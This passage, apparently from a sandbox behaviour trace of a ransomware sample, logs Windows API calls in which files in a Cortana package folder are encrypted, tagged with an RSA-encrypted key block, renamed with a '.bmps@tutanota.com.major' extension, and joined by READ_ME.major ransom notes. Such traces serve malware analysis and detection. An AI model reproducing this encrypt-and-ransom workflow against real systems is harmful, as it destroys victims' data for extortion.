(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00007.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00007.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.707] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.707] ReadFile (in: hFile=0x1868, lpBuffer=0x671020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x671020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.799] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.799] WriteFile (in: hFile=0x1868, lpBuffer=0x70d020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x70d020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.801] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.801] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.801] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.802] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.803] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="jNUgUktHwLdcfIC2yCQK04HdX/rwSFUVdfiHxjI4xV1q5ixoVjr96B+Yadg4+Dc2\ntKCkvLGf4tiDB78wQqG/4atUZi5vn1TlOH55bipQB0j/plfVesrehwOqAHu1XcUQ\nltKCcDArGyCSgXVdBJa70dDbFtIoV7rlFMOUIRyyfjHnKhkzY0CTAFvOxKAXRqvB\nrM+qBwyNgF0s6YW7tUD0DhODAEvC162FlYqMUU6pEhnmN7whnjM9H6zL8zhkXiir\nCZTRnCmXCZXNdOkVf8FlzG7pmPsBi6bvjnPLCm/R4qDXG/Y6bQM/Gp9YQeZrVsr8\nmcG7dGzuC2VqQiDpOZueeQ==\n", pcchString=0x2e3f9a8) returned 1 [0227.803] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.803] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.803] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.803] CloseHandle (hObject=0x1868) returned 1 [0227.803] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00007.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00007.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb00007.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb00007.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.805] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.805] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log", dwFileAttributes=0x80) returned 1 [0227.806] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.806] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524288) returned 1 [0227.807] ReadFile (in: hFile=0x1868, lpBuffer=0x675020, nNumberOfBytesToRead=0x80000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x675020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.830] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-524288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.830] WriteFile (in: hFile=0x1868, lpBuffer=0x707020*, nNumberOfBytesToWrite=0x80000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x707020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80000, lpOverlapped=0x0) returned 1 [0227.832] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80000 [0227.832] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.832] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.833] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.833] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JIhgwr5LfaUdG/+AmUy0nkvGLwsEsQ03JwMlFEMxiHLUbOCxJnt1fv8xIW+8c70Y\nHOlxlo4Qx74mEJrA584pm9UhBe3jNpoZM5r669dHr70aqR3/s5Obh91tQRoZEkGu\nQq0dN5G/5QCS5QbST7fCCkhthBrhAjZX3BYO4DNnTiIPOx5PDi0EQ3jGZxMluH9L\nMeEFEBKnbGi7MCkLzwzRV1izCNvl+j1H4IgY1xwj2JScs3Ne2BBEJhmk7SjA+oJG\nlvfje+LCbUHyc/FwxoXHCv7u67p9CTznV+DISiA9JiyfG/T3Uv+hr3ZzzDvZ6bRF\nnfDJ/t1QnV4Ej7Oe6sIlpQ==\n", pcchString=0x2e3f9a8) returned 1 [0227.833] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.833] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.833] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.833] CloseHandle (hObject=0x1868) returned 1 [0227.834] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.log.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.log.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.836] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0227.836] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.chk", dwFileAttributes=0x80) returned 1 [0227.837] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.chk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.chk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1868 [0227.838] GetFileSizeEx (in: hFile=0x1868, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0227.838] ReadFile (in: hFile=0x1868, lpBuffer=0x2f918d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0227.839] SetFilePointer (in: hFile=0x1868, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0227.840] WriteFile (in: hFile=0x1868, lpBuffer=0x2f938d8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f938d8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0227.840] SetFilePointer (in: hFile=0x1868, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0227.840] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.840] WriteFile (in: hFile=0x1868, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0227.840] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0227.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0227.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="ZQu83+FG3P3OuVqgHR+30ouug8/83CyLcV4GdFpllXLp9QS8hRIEsqhoyK7eHV4B\nIO66/GtboepofbivltrhI/nSMa9u1RQ8EenLuRGfyY93algJ88y9l6C+EE5ferQr\nkrhmvlt5hUoXwkFBNx103aDLiYHfQICViyn+PFisMawMC+p3fM6t821fn1WUHtko\nuBjLLjQRHHwDmkJm6TP/PYdqEQlEU+Rg+uEpmProHH6nk+JwGTb+O8s9C+SXS8w7\nhCiFPzV9ol0rK2+C8OnzDKmcs+2qIDX4Rs8XiirAKKOKww+DMX/rt9hNnJ6Ula9V\nn/my3l7xeOz8YiI67wL6Fw==\n", pcchString=0x2e3f9a8) returned 1 [0227.841] WriteFile (in: hFile=0x1868, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0227.841] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0227.841] WriteFile (in: hFile=0x1868, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0227.841] CloseHandle (hObject=0x1868) returned 1 [0227.841] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.chk" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.chk"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AppData\\Indexed DB\\edb.chk.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\appdata\\indexed db\\edb.chk.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0227.843] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbccaaf2e, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x97842c35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32c60 [0227.844] SetLastError (dwErrCode=0x0) [0227.844] GetLastError () returned 0x0 [0227.844] SetLastError (dwErrCode=0x0) [0227.844] GetLastError () returned 0x0 [0227.844] SetLastError (dwErrCode=0x0) [0227.844] FindNextFileW (in: hFindFile=0x2f32c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbccaaf2e, ftCreationTime.dwHighDateTime=0x1d32721, ftLastAccessTime.dwLowDateTime=0x97842c35, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0227.844] SetLastError (dwErrCode=0x0) [0227.844] GetLastError () returned 0x0 [0227.844] SetLastError (dwErrCode=0x0) [0227.844] GetLastError () returned 0x0 [0227.844] SetLastError (dwErrCode=0x0) [0227.844] FindNextFileW (in: hFindFile=0x2f32c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x97842c35, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x38231567, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x38231567, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="100", cAlternateFileName="")) returned 1 [0227.845] SetLastError (dwErrCode=0x0) [0227.845] GetLastError () returned 0x0 [0227.845] SetLastError (dwErrCode=0x0) [0227.845] GetLastError () returned 0x0 [0227.845] SetLastError (dwErrCode=0x0) [0227.845] SetLastError (dwErrCode=0x0) [0227.845] GetLastError () returned 0x0 [0227.845] SetLastError (dwErrCode=0x0) [0227.845] GetLastError () returned 0x0 [0227.845] SetLastError (dwErrCode=0x0) [0227.845] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x186c [0227.946] WriteFile (in: hFile=0x186c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0227.947] CloseHandle (hObject=0x186c) returned 1 [0227.948] FindNextFileW (in: hFindFile=0x2f32c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b5b7ca, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b5b7ca, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0227.948] SetLastError (dwErrCode=0x0) [0227.948] GetLastError () returned 0x0 [0227.948] SetLastError (dwErrCode=0x0) [0227.948] GetLastError () returned 0x0 [0227.948] SetLastError (dwErrCode=0x0) [0227.948] FindNextFileW (in: hFindFile=0x2f32c60, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36b5b7ca, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36b5b7ca, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36b5b7ca, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0227.948] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2412562, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3bf615b5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f32de0 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] GetLastError () returned 0x12 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] GetLastError () returned 0x12 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2412562, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3bf615b5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x36b818d1, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] GetLastError () returned 0x12 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] GetLastError () returned 0x12 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x439aeafc, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x439aeafc, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}", cAlternateFileName="APPS_{~1")) returned 1 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] GetLastError () returned 0x12 [0227.950] SetLastError (dwErrCode=0x12) [0227.950] SetLastError (dwErrCode=0x12) [0227.950] SetLastError (dwErrCode=0x12) [0227.951] GetLastError () returned 0x12 [0227.951] SetLastError (dwErrCode=0x12) [0227.951] GetLastError () returned 0x12 [0227.951] SetLastError (dwErrCode=0x12) [0227.951] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{c688b2f4-b87a-41d7-ad85-f18c82dab793}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0228.045] WriteFile (in: hFile=0x1870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.046] CloseHandle (hObject=0x1870) returned 1 [0228.047] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249cf976, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x24d16d3f, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x24d16d3f, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}", cAlternateFileName="APPS_{~2")) returned 1 [0228.047] SetLastError (dwErrCode=0x0) [0228.047] GetLastError () returned 0x0 [0228.047] SetLastError (dwErrCode=0x0) [0228.047] SetLastError (dwErrCode=0x0) [0228.047] SetLastError (dwErrCode=0x0) [0228.047] GetLastError () returned 0x0 [0228.047] SetLastError (dwErrCode=0x0) [0228.047] GetLastError () returned 0x0 [0228.047] SetLastError (dwErrCode=0x0) [0228.047] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{eeadb6e1-358f-425e-ad62-9fd7c271f1c8}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0228.080] WriteFile (in: hFile=0x1870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0228.081] CloseHandle (hObject=0x1870) returned 1 [0228.081] FindNextFileW (in: hFindFile=0x2f32de0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1aefe5fb, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x31247c5d, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x31247c5d, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}", cAlternateFileName="APPS_{~4")) returned 1 [0228.081] SetLastError (dwErrCode=0x0) [0228.081] GetLastError () returned 0x0 [0228.081] SetLastError (dwErrCode=0x0) [0228.081] SetLastError (dwErrCode=0x0) [0228.081] SetLastError (dwErrCode=0x0) [0228.081] GetLastError () returned 0x0 [0228.081] SetLastError (dwErrCode=0x0) [0228.081] GetLastError () returned 0x0 [0228.081] SetLastError (dwErrCode=0x0) [0228.081] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\ConstraintIndex\\Apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\constraintindex\\apps_{f1570acd-4e55-4c06-9654-bc576225a4c1}\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1870 [0228.084] WriteFile (in: hFile=0x1870, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, 